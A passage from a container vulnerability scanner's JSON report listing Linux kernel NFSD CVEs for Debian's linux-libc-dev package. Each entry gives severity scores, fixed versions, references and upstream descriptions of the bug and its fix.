"PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.111-1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-89659", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:722a6ae1f3ad7e0e429080bd0eaf9e07afc91e8f4aec638bf53f72ce0508e293", "Title": "kernel: NFSD: Prevent client use-after-free during delegation revoke", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nNFSD: Prevent client use-after-free during delegation revoke\n\nA delegation stateid holds only a bare pointer to its owning\nnfs4_client and does not keep it alive. The client survives its\nstateids only because __destroy_client() drains cl_delegations and\ncl_revoked before free_client() runs.\n\nnfs4_laundromat() breaks that invariant: it unhashes an\nexpired delegation from cl_delegations, drops deleg_lock, then\nrevoke_delegation() relinks it onto cl_revoked under cl_lock. In that\nwindow the delegation is on neither list, so client_has_state() can\nreport no remaining state.\n\nEvery teardown path first requires cl_rpc_users to be zero, but\nthe laundromat holds no such reference. A client whose recalled\ndelegation has just timed out can therefore reach free_client()\nwhile revoke_delegation() is still about to dereference cl_lock,\na use-after-free.\n\nPin the client with cl_rpc_users across the revoke so teardown blocks\nuntil it completes, then reap the delegation from cl_revoked. A client\nalready expiring reaps its own, so skip it and leave the delegation on\ndel_recall_lru.", "Severity": "HIGH", "VendorSeverity": { "amazon": 3, "azure": 2, "bottlerocket": 2, "oracle-oval": 3, "photon": 4, "redhat": 3, "ubuntu": 4 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.8 } }, "References": [ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89659", "https://access.redhat.com/security/cve/CVE-2026-89659", "https://git.kernel.org/linus/4683ca76b3b7e5808338491c6eb3c20e6b4894d5%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-89659.mbox", "https://git.kernel.org/stable/c/0dd276b1324a5e08e83c6f675919946c9f0d61c9", "https://git.kernel.org/stable/c/2a9d637c2a8fd8ac29ad9b29f28d122ef75c1a56", "https://git.kernel.org/stable/c/2f9a200c0ea5b214609b8cea2b6666458bcb54cd", "https://git.kernel.org/stable/c/3c0a53ee0b442348d8d2286d6960d3f07bb3a3d3", "https://git.kernel.org/stable/c/4683ca76b3b7e5808338491c6eb3c20e6b4894d5", "https://git.kernel.org/stable/c/94f0c73797c30a35812ffb32d11b8737d245c405", "https://github.com/bottlerocket-os/bottlerocket-kernel-kit/blob/develop/advisories/9.5.0/BRSA-66orhzycbngw.toml", "https://linux.oracle.com/cve/CVE-2026-89659.html", "https://linux.oracle.com/errata/ELSA-2026-500374.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-89659", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-89659" ], "PublishedDate": "2026-09-11T20:19:52.18Z", "LastModifiedDate": "2026-10-30T13:20:25.097Z" }, { "VulnerabilityID": "CVE-2026-89663", "VendorIDs": [ "DSA-6528-1" ], "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.111-1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-89663", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:8dbbff50d17e827bb56caef7e10abc73487f31447e9a38bf03455856ae1e2354", "Title": "kernel: nfsd: revoke copy-notify stateids before dropping their reference", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnfsd: revoke copy-notify stateids before dropping their reference\n\nCopy-notify stateids live in the s2s_cp_stateids IDR and on their parent\nstid's sc_cp_list, pinned by a single membership reference.\n_free_cpntf_state_locked() only unlinks an entry once its refcount reaches\nzero, so any revoke path that runs while a concurrent\nfind_cpntf_state()/manage_cpntf_state() holder has elevated cs_count drops\nthe reference without unlinking, leaving the entry discoverable with its\nmembership reference already consumed. A second revoke or a laundromat tick\nthen frees it while the reader still holds the pointer -- a\nKASAN-detectable use-after-free at the reader's nfs4_put_cpntf_state().\n\nThis affected all three revoke paths:\n\n - The parent-stid drain (nfs4_free_cpntf_statelist()) repeatedly called\n _free_cpntf_state_locked() on the first list entry; a holder that had\n bumped cs_count made it return early, so the next iteration\n re-decremented and burned the holder's reference.\n\n - OFFLOAD_CANCEL (manage_cpntf_state()) and laundromat expiry likewise\n used _free_cpntf_state_locked() and could drop 2-\u003e1 without unlinking.\n\nAdd revoke_cpntf_state_locked(), which unhashes the entry from the IDR and\nsc_cp_list first (deferring the final free to any holder), and use it from\nall three revoke paths. The drain now walks with list_for_each_entry_safe()\nand revokes each entry unconditionally, so it terminates in one pass per\nentry regardless of cs_count. The unhash is gated on\n!list_empty(\u0026cps-\u003ecp_list); the idr_remove() gate matters because\nidr_alloc_cyclic() may have recycled the so_id by then. Keep\n_free_cpntf_state_locked() for the reference-holder put path only, where a\nconcurrent revoke may already have unlinked the entry (its list_del_init()\nthen a no-op).", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "amazon": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:77689", "https://access.redhat.com/security/cve/CVE-2026-89663", "https://bugzilla.redhat.com/2436771", "https://bugzilla.redhat.com/2497032", "https://bugzilla.redhat.com/2499742", "https://bugzilla.redhat.com/2502222", "https://bugzilla.redhat.com/2502411", "https://bugzilla.redhat.com/2502476", "https://bugzilla.redhat.com/2502521", "https://bugzilla.redhat.com/2502593", "https://bugzilla.redhat.com/2516705", "https://bugzilla.redhat.com/2524431", "https://bugzilla.redhat.com/2532103", "https://bugzilla.redhat.com/2532111", "https://bugzilla.redhat.com/2532218", "https://bugzilla.redhat.com/2532231", "https://bugzilla.redhat.com/show_bug.cgi?id=2436771", "https://bugzilla.redhat.com/show_bug.cgi?id=2497032", "https://bugzilla.redhat.com/show_bug.cgi?id=2499742", "https://bugzilla.redhat.com/show_bug.cgi?id=2502222", "https://bugzilla.redhat.com/show_bug.cgi?id=2502411", "https://bugzilla.redhat.com/show_bug.cgi?id=2502476", "https://bugzilla.redhat.com/show_bug.cgi?id=2502521", "https://bugzilla.redhat.com/show_bug.cgi?id=2502593", "https://bugzilla.redhat.com/show_bug.cgi?id=2516705", "https://bugzilla.redhat.com/show_bug.cgi?id=2524431", "https://bugzilla.redhat.com/show_bug.cgi?id=2532103", "https://bugzilla.redhat.com/show_bug.cgi?id=2532111", "https://bugzilla.redhat.com/show_bug.cgi?id=2532218", "https://bugzilla.redhat.com/show_bug.cgi?id=2532231", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23103", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53360", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53365", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53398", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63970", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64035", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64115", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64162", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72317", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74744", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89530", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89663", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89669", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89690", "https://errata.almalinux.org/9/ALSA-2026-77689.html", "https://errata.rockylinux.org/RLSA-2026:77689", "https://git.kernel.org/linus/3b0c3595db99bb4bebd7c8aa8a36f3c50e411bb7%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-89663.mbox", "https://git.kernel.org/stable/c/06a62f6dbc60791f4229c6950b1eec6b18df9af1", "https://git.kernel.org/stable/c/3b0c3595db99bb4bebd7c8aa8a36f3c50e411bb7", "https://git.kernel.org/stable/c/5f00e0ab4de45d4f9e4bd0883cf2517acf63fc0d", "https://git.kernel.org/stable/c/6b8149448cdcb476fba4559d1ecc247efee9971b", "https://git.kernel.org/stable/c/a1fca0f7bbb7b100a39c7ba8dd7922c87c4237a3", "https://git.kernel.org/stable/c/b56d2c5f01cddbeca7d11cce81d97db4ec9a464f", "https://git.kernel.org/stable/c/caddbeffab1eaba1d2bcf5ceda35547863466705", "https://git.kernel.org/stable/c/ff8a3cff02b92b2a82f1a9876038fcf953ae9c25", "https://linux.oracle.com/cve/CVE-2026-89663.html", "https://linux.oracle.com/errata/ELSA-2026-77690.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-89663", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8962-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-89663" ], "PublishedDate": "2026-09-11T20:19:52.653Z", "LastModifiedDate": "2026-10-19T09:18:04.243Z" }, { "VulnerabilityID": "CVE-2026-89669", "VendorIDs": [ "DSA-6528-1" ], "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.111-1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-89669", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:5ff9a5011068da0786c0d0e0502b949a1734ad6812e12d311f735ce65da4c189", "Title": "kernel: nfsd: initialize copy-notify stateid before publishing it", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnfsd: initialize copy-notify stateid before publishing it\n\nnfsd4_copy_notify() finished initializing the cpntf state after\nnfs4_alloc_init_cpntf_state() had already linked it into the\ns2s_cp_stateids IDR and the parent's sc_cp_list, with cs_count == 1 (the\nmembership reference) and none held for the caller. A racing\nOFFLOAD_CANCEL (crafted cl_id == nn-\u003es2s_cp_cl_id plus the guessable\nso_id) could reach manage_cpntf_state() and free the entry, turning the\ncaller's subsequent cpn_cnr_stateid read and cp_p_stateid/cp_p_clid\nwrites into use-after-free. The owning clientid was also only recorded\nafter publication, so it could not gate an ownership check in that window.\n\nRecord cp_p_stateid and cp_p_clid inside nfs4_alloc_init_cpntf_state()\nbefore nfs4_init_cp_state() publishes the entry, and return it with an\nextra reference. The caller reads the stateid under that reference and\ndrops it with nfs4_put_cpntf_state(); on a late error the laundromat\nreaps the entry.", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:77689", "https://access.redhat.com/security/cve/CVE-2026-89669", "https://bugzilla.redhat.com/2436771", "https://bugzilla.redhat.com/2497032", "https://bugzilla.redhat.com/2499742", "https://bugzilla.redhat.com/2502222", "https://bugzilla.redhat.com/2502411", "https://bugzilla.redhat.com/2502476", "https://bugzilla.redhat.com/2502521", "https://bugzilla.redhat.com/2502593", "https://bugzilla.redhat.com/2516705", "https://bugzilla.redhat.com/2524431", "https://bugzilla.redhat.com/2532103", "https://bugzilla.redhat.com/2532111", "https://bugzilla.redhat.com/2532218", "https://bugzilla.redhat.com/2532231", "https://bugzilla.redhat.com/show_bug.cgi?id=2436771", "https://bugzilla.redhat.com/show_bug.cgi?id=2497032", "https://bugzilla.redhat.com/show_bug.cgi?id=2499742", "https://bugzilla.redhat.com/show_bug.cgi?id=2502222", "https://bugzilla.redhat.com/show_bug.cgi?id=2502411", "https://bugzilla.redhat.com/show_bug.cgi?id=2502476", "https://bugzilla.redhat.com/show_bug.cgi?id=2502521", "https://bugzilla.redhat.com/show_bug.cgi?id=2502593", "https://bugzilla.redhat.com/show_bug.cgi?id=2516705", "https://bugzilla.redhat.com/show_bug.cgi?id=2524431", "https://bugzilla.redhat.com/show_bug.cgi?id=2532103", "https://bugzilla.redhat.com/show_bug.cgi?id=2532111", "https://bugzilla.redhat.com/show_bug.cgi?id=2532218", "https://bugzilla.redhat.com/show_bug.cgi?id=2532231", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23103", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53360", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53365", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53398", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63970", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64035", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64115", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64162", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72317", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74744", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89530", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89663", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89669", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89690", "https://errata.almalinux.org/9/ALSA-2026-77689.html", "https://errata.rockylinux.org/RLSA-2026:77689", "https://git.kernel.org/linus/129643893b79f8a3c6b72045f933fbab5ee424ca%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-89669.mbox", "https://git.kernel.org/stable/c/129643893b79f8a3c6b72045f933fbab5ee424ca", "https://git.kernel.org/stable/c/4415a692346a39fdb647cbd717eda510159aaf55", "https://git.kernel.org/stable/c/4cdef96892f4fa6e70c405b6e8f2fd6972f3b64b", "https://git.kernel.org/stable/c/863b6e995665472f2af5be2436a874ab6a9e5ac6", "https://git.kernel.org/stable/c/9caad13b7cfe9ccb90cc405ac77335800e086595", "https://git.kernel.org/stable/c/a4d7fedcaaf33e60a01e53eafca9041ef966212f", "https://git.kernel.org/stable/c/d18d36395d973ef7372c8e6724970585f75b5c0b", "https://git.kernel.org/stable/c/e08a3dcaca0505f861e344a387f37f94d95dbdc2", "https://linux.oracle.com/cve/CVE-2026-89669.html", "https://linux.oracle.com/errata/ELSA-2026-77690.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-89669", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8962-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-89669" ], "PublishedDate": "2026-09-11T20:19:53.397Z", "LastModifiedDate": "2026-10-19T09:18:04.99Z" }, { "VulnerabilityID": "CVE-2026-89674", "VendorIDs": [ "DSA-6528-1" ], "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.111-1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-89674", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:9ee6ce17d5f6b8f6621c26dcbc1e791cd57b229053dd92d24b173c26cde12e27", "Title": "kernel: nfsd: fix XDR length calculation in nfsd4_ff_encode_layoutget", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnfsd: fix XDR length calculation in nfsd4_ff_encode_layoutget\n\nThe XDR buffer size calculation in nfsd4_ff_encode_layoutget() has\nmultiple errors that can result in either an out-of-bounds write or\nleaking uninitialized kernel memory to the client:\n\n - fh_len doesn't account for XDR padding on the file handle data\n - uid and gid lengths use \"8 + len\" but xdr_encode_opaque() actually\n writes \"4 + xdr_align_size(len)\" bytes\n - ds_len omits the flags and stats_collect_hint fields (8 bytes),\n while len's header constant overestimates by 8 bytes -- these\n partially cancel but leave a net mismatch\n\nThe worst case occurs with short strings (e.g. uid=0, gid=0 with an\nodd-sized file handle), where the function writes up to 5 bytes past\nthe reserved XDR buffer. Conversely, when string lengths happen to be\n4-byte aligned, the reservation is too large and stale buffer content\nis sent to the client.\n\nFix this by breaking out every encoded field explicitly in the ds_len\ncalculation, using xdr_align_size() for all variable-length opaque\nfields, and correcting the header constants.", "Severity": "HIGH", "VendorSeverity": { "azure": 3, "oracle-oval": 3, "photon": 4, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-89674", "https://git.kernel.org/linus/f9868174af49d207fbaf0c5e055d088a983684af%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-89674.mbox", "https://git.kernel.org/stable/c/0380129b1373c437eb35401a174671c8888f4b80", "https://git.kernel.org/stable/c/29e4478e2ed5a227e8f0c33cacb91bf227cedd47", "https://git.kernel.org/stable/c/3a7fd224df0fbb42167eb1b77be45d72fe0b1098", "https://git.kernel.org/stable/c/65a72b721943618eeb3a41c8b36e915591f3f83f", "https://git.kernel.org/stable/c/bee826c00ac900473f91306f1f3e5a5a81fd4a74", "https://git.kernel.org/stable/c/c81cef6a805dec266c10fc4f83c93d6fcf1a2b43", "https://git.kernel.org/stable/c/e7d9d23ecd9172f05b09bb678ff22db8e361c428", "https://git.kernel.org/stable/c/f9868174af49d207fbaf0c5e055d088a983684af", "https://linux.oracle.com/cve/CVE-2026-89674.html", "https://linux.oracle.com/errata/ELSA-2026-500374.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-89674", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8962-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-89674" ], "PublishedDate": "2026-09-11T20:19:54.013Z", "LastModifiedDate": "2026-10-19T09:18:05.607Z" }, { "VulnerabilityID": "CVE-2026-89675", "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "Status": "affected", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-89675", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:f8c4d58024d3778c67ca1f6ceb611bd2ef241351e83eb114a2aa11b389c25899", "Title": "kernel: nfsd: fix UAF in async copy cancel and shutdown", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnfsd: fix UAF in async copy cancel and shutdown\n\nAn async copy could be freed or used after free while a teardown caller\n(OFFLOAD_CANCEL, nfsd4_shutdown_copy, nfsd4_cancel_copy_by_sb) raced the\ncopy kthread:\n\n - find_async_copy() bumped copy-\u003erefcount but left the copy on\n clp-\u003easync_copies, so the reaper's cleanup_async_copy() could run\n release_copy_files() concurrently with a cancel/shutdown caller. Both\n put and NULL nf_src/nf_dst without a common lock, double-putting the\n nfsd_file and freeing it early.\n\n - nfsd4_do_async_copy() set NFSD4_COPY_F_STOPPED before its final uses\n of the copy (nfsd_update_cmtime_attr() on copy-\u003enf_dst,\n nfsd4_send_cb_offload()). nfsd4_stop_copy() treats a set STOPPED bit\n as \"kthread done, skip kthread_stop()\", so a teardown caller ran\n release_copy_files() -- which puts and NULLs nf_dst -- while the\n kthread still dereferenced it (NULL/UAF).\n\n - copy-\u003ecopy_task was never pinned. The one-shot kthread self-reaps on\n return, so kthread_stop()'s get_task_struct() could touch a freed\n task_struct.\n\n - co_cb is embedded in the copy, but nfsd4_send_cb_offload() held a\n reference only on the client, so a concurrent teardown could free\n the copy while the CB_OFFLOAD callback was in flight.\n\nFix the teardown lifetime as a whole:\n\n - find_async_copy() unlinks the copy (clear cp_clp, list_del_init)\n under async_lock; the cancel, shutdown, and sb-cancel paths drop the\n list-membership reference via nfs4_put_copy() after nfsd4_stop_copy().\n Drop the now-redundant list_del fixup from cleanup_async_copy().\n\n - Because unlinking hides the copy from the reaper, its\n cleanup_async_copy() can no longer remove the copy's s2s_cp_stateids\n entry; the cancel/shutdown/sb-cancel paths now call\n nfs4_free_copy_state() themselves (while cp_clp is still valid) so\n the entry does not dangle at freed memory for the laundromat and\n manage_cpntf_state() to dereference.\n\n - Give the kthread its own reference, taken in nfsd4_copy() before\n wake_up_process() and dropped at the end of nfsd4_do_async_copy();\n call wake_up_process() before list_add().\n\n - Pin the task_struct with get_task_struct() in nfsd4_copy(), released\n in nfs4_put_copy(), so kthread_stop() is safe whenever the kthread\n exits. Set NFSD4_COPY_F_STOPPED only in nfsd4_stop_copy(), which now\n always kthread_stop()s before release_copy_files(); completion is\n still reported via NFSD4_COPY_F_COMPLETED, so\n nfsd4_has_active_async_copies() is unaffected. Each teardown caller\n removes the copy from clp-\u003easync_copies first, so kthread_stop() runs\n exactly once.\n\n - Take a copy reference in nfsd4_send_cb_offload(), dropped in\n nfsd4_cb_offload_release(). The kthread still holds its own reference\n there, so the refcount_inc() cannot race the final free.\n\n - Read cp_clp with smp_load_acquire() to pair with the unordered\n set_bit()/clear_bit() writers (Documentation/atomic_bitops.rst).", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "amazon": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:77690", "https://access.redhat.com/security/cve/CVE-2026-89675", "https://bugzilla.redhat.com/2436771", "https://bugzilla.redhat.com/2497032", "https://bugzilla.redhat.com/2499742", "https://bugzilla.redhat.com/2502222", "https://bugzilla.redhat.com/2502411", "https://bugzilla.redhat.com/2502476", "https://bugzilla.redhat.com/2502593", "https://bugzilla.redhat.com/2516705", "https://bugzilla.redhat.com/2521498", "https://bugzilla.redhat.com/2524431", "https://bugzilla.redhat.com/2532103", "https://bugzilla.redhat.com/2532111", "https://bugzilla.redhat.com/2532218", "https://bugzilla.redhat.com/2532219", "https://bugzilla.redhat.com/2532231", "https://bugzilla.redhat.com/2532272", "https://bugzilla.redhat.com/show_bug.cgi?id=2436771", "https://bugzilla.redhat.com/show_bug.cgi?id=2497032", "https://bugzilla.redhat.com/show_bug.cgi?id=2499742", "https://bugzilla.redhat.com/show_bug.cgi?id=2502222", "https://bugzilla.redhat.com/show_bug.cgi?id=2502411", "https://bugzilla.redhat.com/show_bug.cgi?id=2502476", "https://bugzilla.redhat.com/show_bug.cgi?id=2502593", "https://bugzilla.redhat.com/show_bug.cgi?id=2516705", "https://bugzilla.redhat.com/show_bug.cgi?id=2521498", "https://bugzilla.redhat.com/show_bug.cgi?id=2524431", "https://bugzilla.redhat.com/show_bug.cgi?id=2532103", "https://bugzilla.redhat.com/show_bug.cgi?id=2532111", "https://bugzilla.redhat.com/show_bug.cgi?id=2532218", "https://bugzilla.redhat.com/show_bug.cgi?id=2532219", "https://bugzilla.redhat.com/show_bug.cgi?id=2532231", "https://bugzilla.redhat.com/show_bug.cgi?id=2532272", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23103", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53360", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53365", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53398", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63970", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64035", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64115", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72317", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74705", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74744", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89530", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89663", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89669", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89675", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89676", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89690", "https://errata.almalinux.org/10/ALSA-2026-77690.html", "https://errata.rockylinux.org/RLSA-2026:77690", "https://git.kernel.org/linus/62c0f6eaf050bb9284c1f9cac6ed1770092e6b95%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-89675.mbox", "https://git.kernel.org/stable/c/62c0f6eaf050bb9284c1f9cac6ed1770092e6b95", "https://git.kernel.org/stable/c/9031493ef7369d5c59c4bacc96f0c85965f09a98", "https://git.kernel.org/stable/c/a385cf5e016b748babf94cc664e43a26e17db117", "https://linux.oracle.com/cve/CVE-2026-89675.html", "https://linux.oracle.com/errata/ELSA-2026-77690.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-89675", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://www.cve.org/CVERecord?id=CVE-2026-89675" ], "PublishedDate": "2026-09-11T20:19:54.143Z", "LastModifiedDate": "2026-10-19T09:18:05.75Z" }, { "VulnerabilityID": "CVE-2026-89676", "VendorIDs": [ "DSA-6528-1" ], "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.111-1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-89676", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:b9e053e9e7b22765377cd2a2726b81d3aafa2a0de62c46732237dd441b80ea3c", "Title": "kernel: nfsd: fix stale s2s_cp_stateids IDR entry for async COPY", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnfsd: fix stale s2s_cp_stateids IDR entry for async COPY\n\nFor an async COPY, nfsd4_copy() called nfs4_init_copy_state() before\ndup_copy_fields(), so the s2s_cp_stateids IDR was pointed at\n\u0026u-\u003ecopy-\u003ecp_stateid -- memory in the per-rqstp COMPOUND buffer that is\nreused by the next request. dup_copy_fields() copies only the value into\nasync_copy, so the IDR slot dangled at the transient buffer for the whole\nbackground copy. Any IDR walker then dereferences reused request memory:\nthe laundromat reads cs_type from it and, if the bytes look like an\nexpired NFS4_COPYNOTIFY_STID, follows into\nrefcount_dec()/idr_remove()/kfree() on garbage; 